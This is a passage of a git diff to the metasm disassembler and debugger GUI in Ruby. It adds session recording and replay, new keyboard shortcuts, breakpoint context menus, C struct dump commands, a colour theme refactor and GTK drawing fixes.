   # toggles <41h> vs <'A'> display
   def toggle_expr_char(o)
     @dasm.toggle_expr_char(o)
+    session_append "dasm.toggle_expr_char(dasm.decoded[#{curaddr.inspect}])"
+    gui_update
+  end
+
+  # toggle <10h> vs <16> display
+  def toggle_expr_dec(o)
+    @dasm.toggle_expr_dec(o)
+    session_append "dasm.toggle_expr_dec(dasm.decoded[#{curaddr.inspect}])"
     gui_update
   end
 
   # toggle <401000h> vs <'sub_fancyname'> in the current instr display
   def toggle_expr_offset(o)
     @dasm.toggle_expr_offset(o)
+    session_append "dasm.toggle_expr_offset(dasm.decoded[#{curaddr.inspect}])"
+    gui_update
+  end
+
+  # toggle constant/localvar names with raw value
+  def toggle_expr_str(o)
+    @dasm.toggle_expr_str(o)
+    session_append "dasm.toggle_expr_str(dasm.decoded[#{curaddr.inspect}])"
+    gui_update
+  end
+
+  def name_local_vars(a)
+    @dasm.name_local_vars(a)
+    session_append "dasm.name_local_vars(#{a.inspect})"
     gui_update
   end
 
@@ -524,6 +717,7 @@ class DisasmWidget < ContainerChoiceWidget
     list = []
     @dasm.each_function_block(addr, incl_subfuncs) { |b| list << b }
     list.each { |b| @dasm.undefine_from(b) }
+    session_append "undefine_function(#{addr.inspect}, #{incl_subfuncs.inspect})"
     gui_update
   end
 
@@ -549,28 +743,33 @@ class DisasmWidget < ContainerChoiceWidget
     when ?/; inputbox('search word') { |w|
         next unless curview.respond_to? :hl_word
         next if w == ''
-        curview.hl_word = w 
+        curview.hl_word = w
+        curview.hl_word_re = /(.*)(#{w})/
         curview.redraw
       }
-    when ?b; prompt_backtrace
-    when ?c; disassemble(curview.current_address)
-    when ?C; disassemble_fast(curview.current_address)
-    when ?d; toggle_data(curview.current_address)
+    when ?b; prompt_backtrace(curaddr)
+    when ?c; disassemble(curaddr)
+    when ?C; disassemble_fast(curaddr)
+    when ?d; curobj.kind_of?(DecodedInstruction) ? toggle_expr_dec(curobj) : toggle_data(curaddr)
     when ?f; list_functions
     when ?g; prompt_goto
+    when ?k; toggle_expr_str(curobj)
+    when ?K; name_local_vars(curaddr)
     when ?l; list_labels
-    when ?n; rename_label(pointed_addr)
+    when ?m; prompt_constant(curobj)
+    when ?n; rename
     when ?o; toggle_expr_offset(curobj)
     when ?p; playpause_dasm
     when ?r; toggle_expr_char(curobj)
+    when ?t; prompt_struct_ptr
     when ?v; $VERBOSE = ! $VERBOSE ; puts "#{'not ' if not $VERBOSE}verbose"	# toggle verbose flag
-    when ?x; list_xrefs(pointed_addr)
-    when ?;; add_comment(curview.current_address)
+    when ?x; list_xrefs
+    when ?;; add_comment(curaddr)
 
     when ?\ ; toggle_view(:listing)
     when :tab; toggle_view(:decompile)
     when ?j; curview.keypress(:down)
-    when ?k; curview.keypress(:up)
+    #when ?k; curview.keypress(:up)
     else
       p key if $DEBUG
       return @parent_widget ? @parent_widget.keypress(key) : false
@@ -578,6 +777,48 @@ class DisasmWidget < ContainerChoiceWidget
     true
   end
 
+  attr_accessor :session_file
+  def save_session(filename)
+    @session_file = filename
+  end
+
+  def replay_session(filename)
+    i = 0
+    File.readlines(filename).each { |l|
+      instance_eval l
+      i += 1
+    }
+    focus_addr(@session_focus_addr) if @session_focus_addr
+    puts "Session replay finished"
+  rescue ::Exception
+    puts "Session replay: error on line #{i}: #{$!.class} #{$!}"
+  end
+
+  # append one line to the session file
+  # converts addresses to hex, deletes consecutive set_focus lines
+  def session_append(str)
+    return if not session_file
+
+    # convert decimal addrs to hex
+    str = str.sub(/(\(|\[|= )(\d\d\d\d\d\d+)/) { $1 + ('0x%x' % $2.to_i) }
+
+    @session_lastsz_setfocus ||= nil	# prevent warning
+    if str =~ /^@session_focus_addr = / and @session_lastsz_setfocus
+      # overwrite previous set_focus
+      File.truncate(session_file, @session_lastsz_setfocus) if File.size(session_file) == @session_lastsz
+      is_setfocus = true
+    end
+
+    File.open(session_file, 'a') { |fd| fd.puts str }
+
+    @session_lastsz = File.size(session_file)
+    @session_lastsz_setfocus = @session_lastsz if not is_setfocus
+
+  rescue
+    @session_file = nil
+    puts "Failed to save session, disabling (#{$!.class} #{$!})"
+  end
+
   # creates a new dasm window with the same disassembler object, focus it on addr#win
   def clone_window(*focus)
     return if not popup = DasmWindow.new
@@ -594,11 +835,21 @@ class DisasmWidget < ContainerChoiceWidget
   def dragdropfile(f)
     case f
     when /\.(c|h|cpp)$/; @dasm.parse_c_file(f)
-    when /\.map$/; @dasm.load_map(f)
+    when /\.map$/; @dasm.load_map(f) ; gui_update
     when /\.rb$/; @dasm.load_plugin(f)
     else messagebox("unsupported file extension #{f}")
     end
   end
+
+  def extend_contextmenu(tg, menu, addr=nil)
+    if @parent_widget.respond_to?(:extend_contextmenu)
+      @parent_widget.extend_contextmenu(tg, menu, addr)
+    end
+  end
+
+  def inspect
+    "<DisasmWidget @%x @dasm=#{dasm.inspect}>" % object_id
+  end
 end
 
 # this widget is loaded in an empty DasmWindow to handle shortcuts (open file, etc)
@@ -644,7 +895,7 @@ class DasmWindow < Window
       self.widget = NoDasmWidget.new(self)
     end
   end
-  
+
   def widget=(w)
     super(w || NoDasmWidget.new(self))
   end
@@ -673,8 +924,11 @@ class DasmWindow < Window
   def loadfile(path, cpu='Ia32', exefmt=nil)
     if exefmt
       exefmt = Metasm.const_get(exefmt) if exefmt.kind_of? String
+      if exefmt.kind_of?(::Class) and exefmt.name.split('::').last == 'Shellcode'
+        exefmt = Shellcode.withcpu(cpu)
+      end
     else
-      exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu.new }
+      exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu = cpu.new if cpu.kind_of?(::Class) ; cpu }
     end
 
     exe = exefmt.decode_file(path) { |type, str|
@@ -688,14 +942,15 @@ class DasmWindow < Window
       end
     }
     (@dasm_widget ? DasmWindow.new : self).display(exe.disassembler)
+    self.title = "#{File.basename(path)} - metasm disassembler"
     exe
   end
 
-  def promptopen(caption='chose target binary')
-    openfile(caption) { |exename| loadfile(exename) ; yield self if block_given? }
+  def promptopen(caption='chose target binary', &b)
+    openfile(caption) { |exename| loadfile(exename) ; b.call(self) if b }
   end
 
-  def promptdebug(caption='chose target')
+  def promptdebug(caption='chose target', &b)
     l = nil
     i = inputbox(caption) { |name|
       i = nil ; l.destroy if l and not l.destroyed?
@@ -711,7 +966,7 @@ class DasmWindow < Window
       end
       DbgWindow.new(target)
       destroy if not @dasm_widget
-      yield self if block_given?
+      b.call(self) if b
     }
 
     # build process list in bg (exe name resolution takes a few seconds)
@@ -786,6 +1041,7 @@ class DasmWindow < Window
     addsubmenu(importmenu, 'Load _map') {
       openfile('chose map file') { |file|
         @dasm_widget.dasm.load_map(File.read(file)) if @dasm_widget
+        @dasm_widget.gui_update if @dasm_widget
       } if @dasm_widget
     }
     addsubmenu(importmenu, 'Load _C') {
@@ -838,12 +1094,13 @@ class DasmWindow < Window
     addsubmenu(actions, '_Backtrace', 'b') { @dasm_widget.prompt_backtrace }
     addsubmenu(actions, 'List functions', 'f') { @dasm_widget.list_functions }
     addsubmenu(actions, 'List labels', 'l') { @dasm_widget.list_labels }
-    addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs(@dasm_widget.pointed_addr) }
+    addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs }
+    addsubmenu(actions, 'Find local vars', 'K') { @dasm_widget.name_local_vars(@dasm_widget.curview.current_address) }
     addsubmenu(actions, 'Rebase') { @dasm_widget.rebase }
-    addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename_label(@dasm_widget.pointed_addr) }
+    addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename }
     addsubmenu(actions, 'Decompile', '<tab>') { @dasm_widget.decompile(@dasm_widget.curview.current_address) }
     addsubmenu(actions, 'Decompile finali_ze') { @dasm_widget.dasm.decompiler.finalize ; @dasm_widget.gui_update }
-    addsubmenu(actions, 'Comment', ';') { @dasm_widget.decompile(@dasm_widget.curview.current_address) }
+    addsubmenu(actions, 'Comment', ';') { @dasm_widget.add_comment(@dasm_widget.curview.current_address) }
     addsubmenu(actions, '_Undefine') { @dasm_widget.dasm.undefine_from(@dasm_widget.curview.current_address) ; @dasm_widget.gui_update }
     addsubmenu(actions, 'Unde_fine function') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address) }
     addsubmenu(actions, 'Undefine function & _subfuncs') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address, true) }
diff --git a/lib/metasm/metasm/gui/dasm_opcodes.rb b/lib/metasm/metasm/gui/dasm_opcodes.rb
index f38c2b38d5..faeab8334d 100644
--- a/lib/metasm/metasm/gui/dasm_opcodes.rb
+++ b/lib/metasm/metasm/gui/dasm_opcodes.rb
@@ -9,7 +9,7 @@ class AsmOpcodeWidget < DrawableWidget
   attr_accessor :dasm
   # nr of raw data bytes to display next to decoded instructions
   attr_accessor :raw_data_length
-  
+
   def initialize_widget(dasm, parent_widget)
     @dasm = dasm
     @parent_widget = parent_widget
@@ -22,9 +22,7 @@ class AsmOpcodeWidget < DrawableWidget
     @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil
     @view_addr = @dasm.prog_binding['entrypoint'] || @view_min || 0
 
-    @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black,
-      :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black,
-      :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered }
+    @default_color_association = ColorTheme.merge :raw_data => :black
   end
 
   def resized(w, h)
@@ -124,19 +122,7 @@ class AsmOpcodeWidget < DrawableWidget
     # must not include newline
     render = lambda { |str, color|
       fullstr << str
-      if @hl_word
-        stmp = str
-        pre_x = 0
-        while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/
-          s1, s2 = $1, $2
-          pre_x += s1.length * @font_width
-          hl_x = s2.length * @font_width
-          draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height)
-          pre_x += hl_x
-          stmp = stmp[s1.length+s2.length..-1]
-        end
-      end
-      draw_string_color(color, x, y, str)
+      draw_string_hl(color, x, y, str)
       x += str.length * @font_width
     }
 
@@ -154,7 +140,7 @@ class AsmOpcodeWidget < DrawableWidget
 
     # draw text until screen is full
     while y < height
-      if label = invb[curaddr]
+      if invb[curaddr]
         nl[]
         @dasm.label_alias[curaddr].to_a.each { |name|
           render["#{name}:", :label]
@@ -251,7 +237,7 @@ class AsmOpcodeWidget < DrawableWidget
   # redraws the caret, change the hilighted word, redraw if needed
   def update_caret
     if update_hl_word(@line_text[@caret_y], @caret_x) or @caret_y != @oldcaret_y
-      redraw 
+      redraw
     elsif @oldcaret_x != @caret_x
       invalidate_caret(@oldcaret_x, @oldcaret_y)
       invalidate_caret(@caret_x, @caret_y)
diff --git a/lib/metasm/metasm/gui/debug.rb b/lib/metasm/metasm/gui/debug.rb
index 53cc684f2f..e563803dc3 100644
--- a/lib/metasm/metasm/gui/debug.rb
+++ b/lib/metasm/metasm/gui/debug.rb
@@ -30,7 +30,7 @@ class DbgWidget < ContainerVBoxWidget
     oldcb = @code.bg_color_callback
     @code.bg_color_callback = lambda { |a|
       if a == @dbg.pc
-        'f88'
+        :red_bg
         # TODO breakpoints & stuff
       elsif oldcb; oldcb[a]
       end
@@ -48,8 +48,8 @@ class DbgWidget < ContainerVBoxWidget
 
     pc = @dbg.resolve_expr(@watchpoint[@code])
     graph = :graph if @dbg.disassembler.function_blocks(pc).to_a.length < 100
-    @code.focus_addr(pc, graph)
-    @mem.focus_addr(0, :hex)
+    @code.focus_addr(pc, graph, true)
+    @mem.focus_addr(0, :hex, true)
   end
 
   def swapin_tid
@@ -98,10 +98,16 @@ class DbgWidget < ContainerVBoxWidget
 
   # TODO check_target always, incl when :stopped
   def post_dbg_run
+    # focus currently stopped threads
+    if @dbg.state == :running and tt = @dbg.tid_stuff.find { |tid, tstuff| tstuff[:state] != :running }
+      @dbg.tid = tt[0]
+    end
+
     want_redraw = true
     return if @idle_checking ||= nil	# load only one bg proc
     @idle_checking = true
     Gui.idle_add {
+        protect {
       @dbg.check_target
       if @dbg.state == :running
         redraw if want_redraw	# redraw once if the target is running (less flicker with singlestep)
@@ -121,6 +127,7 @@ class DbgWidget < ContainerVBoxWidget
       }
       redraw
       false
+        }
     }
   end
 
@@ -166,7 +173,10 @@ class DbgWidget < ContainerVBoxWidget
         l = listwindow('running processes', list,
                  :noshow => true,
                  :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me }
-                ) { |e| i.text = e[0] }
+                ) { |e|
+                  i.text = e[0]
+                  i.keypress(:enter) if l.destroyed?
+                }
                 l.x += l.width
                 l.show
                 false
@@ -198,10 +208,28 @@ class DbgWidget < ContainerVBoxWidget
     case f
     when /\.(c|h|cpp)$/; @dbg.disassembler.parse_c_file(f)
     when /\.map$/; @dbg.load_map(f)
-    when /\.rb$/; @dbg.load_plugin(f)
+    when /\.rb$/; @dbg.load_plugin(f) ; @console.add_log "loaded plugin #{File.basename(f, '.rb')}"
     else messagebox("unsupported file extension #{f}")
     end
   end
+
+  def extend_contextmenu(tg, menu, addr=nil)
+    if addr
+      bm = tg.new_menu
+      bl = @dbg.all_breakpoints(addr)
+      if not bl.empty?
+        tg.addsubmenu(bm, '_clear breakpoint') { bl.each { |b| @dbg.del_bp(b) } }
+      end
+      tg.addsubmenu(bm, '_go here') { @dbg.bpx(addr, true) ; dbg_continue }
+      tg.addsubmenu(bm, '_bpx') { @dbg.bpx(addr) }
+      tg.addsubmenu(bm, 'bpm _read') { @dbg.hwbp(addr, :r, 1) }
+      tg.addsubmenu(bm, 'bpm _write') { @dbg.hwbp(addr, :w, 1) }
+      tg.addsubmenu(menu, '_bp', bm)
+    end
+    if @parent_widget.respond_to?(:extend_contextmenu)
+      @parent_widget.extend_contextmenu(tg, menu, addr)
+    end
+  end
 end
 
 
@@ -221,10 +249,9 @@ class DbgRegWidget < DrawableWidget
     swapin_tid
 
     @reg_pos = []	# list of x y w h vx of the reg drawing on widget, vx is x of value
-  
-    @default_color_association = { :label => :black, :data => :blue, :write_pending => :darkred,
-                 :changed => :darkgreen, :caret => :black, :background => :white,
-          :inactive => :palegrey }
+
+    @default_color_association = ColorTheme.merge :label => :text, :data => :blue, :write_pending => :darkred,
+        :changed => :green, :caret => :text, :inactive => :palegrey
   end
 
   def swapin_tid
@@ -262,7 +289,6 @@ class DbgRegWidget < DrawableWidget
   end
 
   def paint
-    curaddr = 0
     x = 1
     y = 0
 
@@ -402,7 +428,7 @@ class DbgRegWidget < DrawableWidget
         @write_pending[reg] = v
         rsz = 1
       end
-      
+
       if rsz == 1
         @caret_reg += 1
         @caret_reg = @registers.length if @caret_reg >= @registers.length + @flags.length
@@ -472,8 +498,8 @@ class DbgConsoleWidget < DrawableWidget
 
     @dbg.set_log_proc { |l| add_log l }
 
-    @default_color_association = { :log => :palegrey, :curline => :white, :caret => :yellow,
-      :background => :black, :status => :black, :status_bg => '088' }
+    @default_color_association = ColorTheme.merge :log => :palegrey, :curline => :white, :caret => :yellow,
+      :background => :black, :status => :black, :status_bg => '088'
 
     init_commands
   end
@@ -513,6 +539,21 @@ class DbgConsoleWidget < DrawableWidget
     clipboard_copy(txt)
   end
 
+  # copy/paste word under cursor (paste when on last line)
+  def rightclick(x, y)
+    y -= height % @font_height
+    y = y.to_i / @font_height
+    hc = height / @font_height
+    x /= @font_width
+    if y >= hc - 2
+      keypress_ctrl ?v
+    else
+      txt = @log.reverse[@log_offset + hc - y - 3].to_s
+      word = txt[0...x].to_s[/\w*$/] << txt[x..-1].to_s[/^\w*/]
+      clipboard_copy(word)
+    end
+  end
+
   def mouse_wheel(dir, x, y)
     case dir
     when :up; @log_offset += 3
@@ -531,12 +572,12 @@ class DbgConsoleWidget < DrawableWidget
 
     w_w = width
 
-           y -= @font_height
+    y -= @font_height
     draw_rectangle_color(:status_bg, 0, y, w_w, @font_height)
     str = "#{@dbg.pid}:#{@dbg.tid} #{@dbg.state} #{@dbg.info}"
     draw_string_color(:status, w_w-str.length*@font_width-1, y, str)
     draw_string_color(:status, 1+@font_width, y, @statusline)
-           y -= @font_height
+    y -= @font_height
 
     w_w_c = w_w/@font_width
     @caret_y = y
@@ -744,7 +785,7 @@ class DbgConsoleWidget < DrawableWidget
   def cmd_dd(addr, dlen=nil, len=nil)
     if addr.kind_of? String
       s = addr.strip
-      addr = solve_expr!(s)
+      addr = solve_expr!(s) || @parent_widget.mem.curaddr
       if not s.empty?
         s = s[1..-1] if s[0] == ?,
         len ||= solve_expr(s)
@@ -757,7 +798,7 @@ class DbgConsoleWidget < DrawableWidget
         le = (@dbg.cpu.endianness == :little)
         data = '' if @dbg.memory.page_invalid?(addr)
         case dlen
-        when nil; add_log "#{Expression[addr]}  #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)}  #{data.tr("\0-\x1f\x7f-\xff", '.')}"
+        when nil; add_log "#{Expression[addr]}  #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)}  #{data.tr("^\x20-\x7e", '.')}"
         when 1;   add_log "#{Expression[addr]}  #{data.unpack('C*').map { |c| '%02X' % c }.join(' ')}"
         when 2;   add_log "#{Expression[addr]}  #{data.unpack(le ? 'v*' : 'n*').map { |c| '%04X' % c }.join(' ')}"
         when 4;   add_log "#{Expression[addr]}  #{data.unpack(le ? 'V*' : 'N*').map { |c| '%08X' % c }.join(' ')}"
@@ -767,8 +808,12 @@ class DbgConsoleWidget < DrawableWidget
         len -= 16
       end
     else
-      @parent_widget.mem.view(:hex).data_size = dlen if dlen
-      @parent_widget.mem.focus_addr(solve_expr(addr)) if addr and addr != ''
+      if dlen
+        @parent_widget.mem.view(:hex).data_size = dlen
+        @parent_widget.mem.view(:hex).resized
+        @parent_widget.mem.showview(:hex)
+      end
+      @parent_widget.mem.focus_addr(solve_expr(addr))
       @parent_widget.mem.gui_update
     end
   end
@@ -783,6 +828,18 @@ class DbgConsoleWidget < DrawableWidget
     new_command('dw', 'dump/focus words in data window')  { |arg| cmd_dd(arg, 2) }
     new_command('dd', 'dump/focus dwords in data window') { |arg| cmd_dd(arg, 4) }
     new_command('dq', 'dump/focus qwords in data window') { |arg| cmd_dd(arg, 8) }
+    new_command('dc', 'focus C struct in data window: <name> <addr>') { |arg|
+      name, addr = arg.strip.split(/\s+/, 2)
+      addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr)
+      @parent_widget.mem.focus_addr(addr, :cstruct, false, name)
+    }
+    new_command('dC', 'dump C struct: dC <name> <addr>') { |arg|
+      name, addr = arg.strip.split(/\s+/, 2)
+      addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr)
+      if st = @dbg.disassembler.c_parser.decode_c_struct(name, @dbg.memory, addr)
+        add_log st.to_s.gsub("\t", '  ')
+      end
+    }
     new_command('u', 'focus code window on an address') { |arg| p.code.focus_addr(solve_expr(arg)) }
     new_command('.', 'focus code window on current address') { p.code.focus_addr(solve_expr(@dbg.register_pc.to_s)) }
     new_command('wc', 'set code window height') { |arg|
@@ -828,12 +885,14 @@ class DbgConsoleWidget < DrawableWidget
       cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a
       @dbg.bpx(solve_expr(e), o, cd, &cb)
     }
-    new_command('hwbp', 'set a hardware breakpoint') { |arg|
-      arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i
-      e, c, a = $1, ($2 || $4), $3
+    new_command('hwbp', 'set a hardware breakpoint (hwbp 0x2345 w)') { |arg|
+      arg =~ /^(.*?)( once)?( [rwx])?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i
+      e, o, t, c, a = $1, $2, $3, ($4 || $6), $5
+      o = o ? true : false
+      t = (t || 'x').strip.to_sym
       cd = parse_expr(c) if c
       cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a
-      @dbg.hwbp(solve_expr(e), :x, 1, false, cd, &cb)
+      @dbg.hwbp(solve_expr(e), t, 1, o, cd, &cb)
     }
     new_command('bpm', 'set a hardware memory breakpoint: bpm r 0x4800ff 16') { |arg|
       arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i
@@ -846,7 +905,7 @@ class DbgConsoleWidget < DrawableWidget
       exp = solve_expr!(e)
       len = solve_expr(e) if e != ''
       len ||= 1
-      @dbg.hwbp(exp, mode, len, false, cd, &cb)
+      @dbg.bpm(exp, mode, len, false, cd, &cb)
     }
     new_command('g', 'wait until target reaches the specified address') { |arg|
       arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i
@@ -1038,7 +1097,7 @@ class DbgConsoleWidget < DrawableWidget
         add_log "#{t} #{stf[:state]} #{stf[:info]}"
       }
     }
-    
+
     new_command('pid', 'select a pid') { |arg|
       if pid = solve_expr(arg)
         @dbg.pid = pid
@@ -1072,7 +1131,7 @@ class DbgConsoleWidget < DrawableWidget
       @dbg.ignore_newthread = false
       @dbg.ignore_endthread = false
     }
-    new_command('thread_event_ignore', 'ignore thread creation/termination') {
+    new_command('thread_events_ignore', 'ignore thread creation/termination') {
       @dbg.ignore_newthread = true
       @dbg.ignore_endthread = true
     }
@@ -1101,6 +1160,12 @@ class DbgConsoleWidget < DrawableWidget
       @dbg.create_process(arg)
     }
 
+    new_command('plugin', 'load', 'load a debugger plugin') { |arg|
+      @dbg.load_plugin arg
+      add_log "loaded plugin #{File.basename(arg, '.rb')}"
+    }
+
+
     @dbg.ui_command_setup(self) if @dbg.respond_to? :ui_command_setup
   end
 
@@ -1122,12 +1187,13 @@ class DbgConsoleWidget < DrawableWidget
   end
 
   def run_command(cmd)
+    cmd = cmd.sub(/^\s+/, '')
     cn = cmd.split.first
     if not @commands[cn]
       a = @commands.keys.find_all { |k| k[0, cn.length] == cn }
       cn = a.first if a.length == 1
     end
-    if pc = @commands[cn] 
+    if pc = @commands[cn]
       pc[cmd.split(/\s+/, 2)[1].to_s]
     else
       add_log 'unknown command'
diff --git a/lib/metasm/metasm/gui/gtk.rb b/lib/metasm/metasm/gui/gtk.rb
index a2473eb41e..05c20ab1ef 100644
--- a/lib/metasm/metasm/gui/gtk.rb
+++ b/lib/metasm/metasm/gui/gtk.rb
@@ -145,7 +145,7 @@ end
 class DrawableWidget < Gtk::DrawingArea
   include Msgbox
 
-  attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word
+  attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word, :hl_word_re
   # this hash is used to determine the colors of the Gui elements (background, caret, ...)
   # modifications to it are only useful before the widget is first rendered (IE before Gui.main)
   attr_accessor :default_color_association
@@ -153,7 +153,7 @@ class DrawableWidget < Gtk::DrawingArea
   # keypress event keyval traduction table
   Keyboard_trad = Gdk::Keyval.constants.grep(/^GDK_/).inject({}) { |h, cst|
     v = Gdk::Keyval.const_get(cst)
-    key = cst.to_s.sub(/^GDK_/, '').sub(/^KP_/, '')
+    key = cst.to_s.sub(/^GDK_/, '').sub(/^KEY_/, '').sub(/^KP_/, '')
     if key.length == 1
       key = key[0]	# ?a, ?b etc
     else
@@ -161,7 +161,7 @@ class DrawableWidget < Gtk::DrawingArea
       key = {
       :page_up => :pgup, :page_down => :pgdown, :next => :pgdown,
       :escape => :esc, :return => :enter, :l1 => :f11, :l2 => :f12,
-      :prior => :pgup,
+      :prior => :pgup, :menu => :popupmenu,
 
       :space => ?\ ,
       :asciitilde => ?~, :quoteleft => ?`,
@@ -189,6 +189,15 @@ class DrawableWidget < Gtk::DrawingArea
     h.update v => key
   }
 
+  BasicColor = {	:white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444',
+      :red => 'f44', :darkred => '800', :palered => 'faa',
+      :green => '4f4', :darkgreen => '080', :palegreen => 'afa',
+      :blue => '44f', :darkblue => '008', :paleblue => 'aaf',
+      :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa',
+      :orange => 'fc8',
+
+  }
+
   def initialize(*a, &b)
     @parent_widget = nil
 
@@ -226,7 +235,6 @@ class DrawableWidget < Gtk::DrawingArea
         grab_focus
         case ev.button
         when 1; protect { click(ev.x, ev.y) } if respond_to? :click
-        when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick
         end
       when Gdk::Event::Type::BUTTON2_PRESS
         case ev.button
@@ -245,8 +253,11 @@ class DrawableWidget < Gtk::DrawingArea
     } if respond_to? :mousemove
 
     signal_connect('button_release_event') { |w, ev|
-      protect { mouserelease(ev.x, ev.y) } if ev.button == 1
-    } if respond_to? :mouserelease
+      case ev.button
+      when 1; protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease
+      when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick
+      end
+    }
 
     signal_connect('scroll_event') { |w, ev|
       dir = case ev.direction
@@ -273,12 +284,7 @@ class DrawableWidget < Gtk::DrawingArea
     }
 
     signal_connect('realize') {
-      { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444',
-        :red => 'f00', :darkred => '800', :palered => 'fcc',
-        :green => '0f0', :darkgreen => '080', :palegreen => 'cfc',
-        :blue => '00f', :darkblue => '008', :paleblue => 'ccf',
-        :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc',
-      }.each { |tag, val|
+      BasicColor.each { |tag, val|
         @color[tag] = color(val)
       }
 
@@ -302,7 +308,11 @@ class DrawableWidget < Gtk::DrawingArea
   # create a color from a 'rgb' description
   def color(val)
     if not @color[val]
-      @color[val] = Gdk::Color.new(*val.unpack('CCC').map { |c| (c.chr*4).hex })
+      v = case val.length
+      when 3; val.scan(/./).map { |c| (c*4).to_i(16) }
+      when 6; val.scan(/../).map { |c| (c+c).to_i(16) }
+      end
+      @color[val] = Gdk::Color.new(*v)
       window.colormap.alloc_color(@color[val], true, true)
     end
     @color[val]
@@ -325,20 +335,48 @@ class DrawableWidget < Gtk::DrawingArea
 
   # change the color association
   # arg is a hash function symbol => color symbol
-  # color must be allocated
   # check #initialize/sig('realize') for initial function/color list
+  # if called before the widget is first displayed onscreen, will register a hook to re-call itself later
   def set_color_association(hash)
-    hash.each { |k, v| @color[k] = color(v) }
-    modify_bg Gtk::STATE_NORMAL, @color[:background]
-    gui_update
+    if not realized?
+      sid = signal_connect('realize') {
+        signal_handler_disconnect(sid)
+        set_color_association(hash)
+      }
+    else
+      hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) }
+      hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) }
+      modify_bg Gtk::STATE_NORMAL, @color[:background]
+      gui_update
+    end
+  end
+
+  def new_menu
+    toplevel.new_menu
+  end
+  def addsubmenu(*a, &b)
+    toplevel.addsubmenu(*a, &b)
+  end
+  def popupmenu(m, x, y)
+    toplevel.popupmenu(m, (x+allocation.x).to_i, (y+allocation.y).to_i)
   end
 
   # update @hl_word from a line & offset, return nil if unchanged
-  def update_hl_word(line, offset)
+  def update_hl_word(line, offset, mode=:asm)
     return if not line
     word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/]
     word = nil if word == ''
-    @hl_word = word if @hl_word != word
+    if @hl_word != word
+      if word
+        if mode == :asm and defined?(@dasm) and @dasm
+          re = @dasm.gui_hilight_word_regexp(word)
+        else
+          re = Regexp.escape word
+        end
+        @hl_word_re = /^(.*?)(\b(?:#{re})\b)/
+      end
+      @hl_word = word
+    end
   end
 
   def paint
@@ -385,6 +423,20 @@ class DrawableWidget < Gtk::DrawingArea
   end
 
   def draw_rectangle(x, y, w, h)
+    # GTK clips coords around 0x8000
+    return if x > 0x7000 or y > 0x7000
+    if x < -0x7000
+      w += x + 100
+      x = -100
+    end
+    if y < -0x7000
+      h += y + 100
+      y = -100
+    end
+    return if w <= 0 or h <= 0
+    w = 0x7000 if w > 0x7000
+    h = 0x7000 if h > 0x7000
+
     @w.draw_rectangle(@gc, true, x, y, w, h)
   end
 
@@ -394,6 +446,29 @@ class DrawableWidget < Gtk::DrawingArea
   end
 
   def draw_line(x, y, ex, ey)
+    if x.abs > 0x7000
+      return if ex.abs > 0x7000 and ((ex < 0) == (x < 0))
+      ox = x
+      x = ((x > 0) ? 0x7000 : -0x7000)
+      y = ey+(x-ex)*(y-ey)/(ox-ex)
+    end
+    if ex.abs > 0x7000
+      oex = ex
+      ex = ((ex > 0) ? 0x7000 : -0x7000)
+      ey = y+(ex-x)*(ey-y)/(oex-x)
+    end
+    if y.abs > 0x7000
+      return if ey.abs > 0x7000 and ((ey < 0) == (y < 0))
+      oy = y
+      y = ((y > 0) ? 0x7000 : -0x7000)
+      x = ex+(y-ey)*(x-ex)/(oy-ey)
+    end
+    if ey.abs > 0x7000
+      oey = ey
+      ey = ((ey > 0) ? 0x7000 : -0x7000)
+      ex = x+(ey-y)*(ex-x)/(oey-y)
+    end
+
     @w.draw_line(@gc, x, y, ex, ey)
   end
 
@@ -403,6 +478,7 @@ class DrawableWidget < Gtk::DrawingArea
   end
 
   def draw_string(x, y, str)
+    return if x.abs > 0x7000 or y.abs > 0x7000
     @layout.text = str
     @w.draw_layout(@gc, x, y, @layout)
   end
@@ -412,6 +488,23 @@ class DrawableWidget < Gtk::DrawingArea
     draw_string(x, y, str)
   end
 
+  # same as draw_string_color + hilight @hl_word_re
+  def draw_string_hl(col, x, y, str)
+    if @hl_word
+      while str =~ @hl_word_re
+        s1, s2 = $1, $2
+        draw_string_color(col, x, y, s1)
+        x += s1.length*@font_width
+        hl_w = s2.length*@font_width
+        draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height)
+        draw_string_color(:hl_word, x, y, s2)
+        x += hl_w
+        str = str[s1.length+s2.length..-1]
